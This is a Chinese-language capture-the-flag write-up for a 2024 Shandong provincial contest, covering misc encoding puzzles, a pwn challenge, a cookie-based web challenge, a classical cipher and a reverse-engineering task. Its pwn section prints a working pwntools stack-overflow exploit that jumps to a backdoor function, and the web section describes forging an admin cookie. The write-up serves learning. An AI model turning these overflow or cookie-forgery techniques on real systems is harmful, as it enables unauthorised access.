24山东省赛wp

r0xy / 2025-02-18 / 原文

misc

ezpic

在这个通道可以看到二维码

image-20241029233657525

扫一下能看到前半flag

image-20241029233727340

010里看到后半flag

image-20241029233802308

简单编码

img

根据提示有,我们可以找到rot系列的rot13和rot47,尝试一下就有flag了

image-20241029234058150

pwn

epwn

这回真是ezpwn了(

检查保护

image-20241030000118904

IDA找到漏洞函数gets和偏移量以及后门函数

image-20241029235443095

image-20241029235451173

于是可以快乐的写exp了

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"

p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()

这里被栈对齐绊了一下,一开始怎么弄都不对,后来忘了可能是64位没有栈对齐的缘故,用ROPgadget找了个ret就好了

image-20241030001100680

web

签到题(忘了叫什么名字了)

比赛的时候没有及时截图,但是截了一张纪念我第一次做出来web的纪念图.

Snipaste_2024-10-27_14-10-27

我的大体流程是先玩了一下游戏,然后弹窗提示我要去访问一个php文件,于是我就去访问了一下,那个页面大概是说要我是admin才可以

一开始我尝试在url里用?传参(?user=admin),但是不对,后来我就想着用bp看看,抓了一下包,发现响应包的cooki里有个user,联想到提示的admin,我就在输入包里加了个cooki:admin.相应包里就出来flag了

crypto

古典之美

给了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}

题目提示是:凯撒?好像又不是凯撒(大概是这样)

于是我就先拿凯撒变成xxxx{xxxxx}的形式(这个应该是巧合了,我不清楚cyberchef里的凯撒是凯撒盒子加密,一般来说的凯撒应该都是rot系列的)

image-20241030001748651

然后又想到是不是可以rot一下看看,在不破坏{}的情况下,只有rot13系列可以,因为rot47会对所有可见字符在ASCII码上rot

于是得到flag

image-20241030002255822

reverse

exchange

Snipaste_2024-10-27_16-19-49

没壳,进入IDA看看先

image-20241030002515563

这个程序就是去检验输入的v9对不对,只不过v9的检验顺序是和v7挂钩的,而不是顺序的检测,根据这个我们就可以写出来脚本了

#include <iostream>
#include <bits/stdc++.h>
using namespace std;

int main()
{
 int v7[38];
 v7[0] = 0;
  v7[1] = 1;
  v7[2] = 2;
  v7[3] = 3;
  v7[4] = 4;
  v7[5] = 13;
  v7[6] = 28;
  v7[7] = 5;
  v7[8] = 20;
  v7[9] = 29;
  v7[10] = 7;
  v7[11] = 26;
  v7[12] = 34;
  v7[13] = 18;
  v7[14] = 14;
  v7[15] = 8;
  v7[16] = 35;
  v7[17] = 24;
  v7[18] = 19;
  v7[19] = 12;
  v7[20] = 23;
  v7[21] = 15;
  v7[22] = 10;
  v7[23] = 36;
  v7[24] = 31;
  v7[25] = 6;
  v7[26] = 27;
  v7[27] = 17;
  v7[28] = 25;
  v7[29] = 32;
  v7[30] = 22;
  v7[31] = 11;
  v7[32] = 30;
  v7[33] = 21;
  v7[34] = 33;
  v7[35] = 9;
  v7[36] = 16;
  v7[37] = 37;
  char v8[38];
   v8[0] = 'f';
  v8[1] = 'l';
  v8[2] = 'a';
  v8[3] = 'g';
  v8[4] = '{';
  v8[5] = '4';
  v8[6] = '7';
  v8[7] = 'e';
  v8[8] = 'b';
  v8[9] = 'f';
  v8[10] = '0';
  v8[11] = '0';
  v8[12] = '8';
  v8[13] = '9';
  v8[14] = '9';
  v8[15] = 'a';
  v8[16] = '3';
  v8[17] = '6';
  v8[18] = 'a';
  v8[19] = '9';
  v8[20] = '5';
  v8[21] = 'b';
  v8[22] = 'c';
  v8[23] = 'e';
  v8[24] = '0';
  v8[25] = '1';
  v8[26] = '5';
  v8[27] = '5';
  v8[28] = 'e';
  v8[29] = 'f';
  v8[30] = 'e';
  v8[31] = '3';
  v8[32] = '2';
  v8[33] = 'b';
  v8[34] = '8';
  v8[35] = 'd';
  v8[36] = 'a';
  v8[37] = '}';
  char str[40];
  for(int i=0;i<38;i++){
  	str[v7[i]]=v8[i];
  }
  cout<<str;
}

image-20241030002757778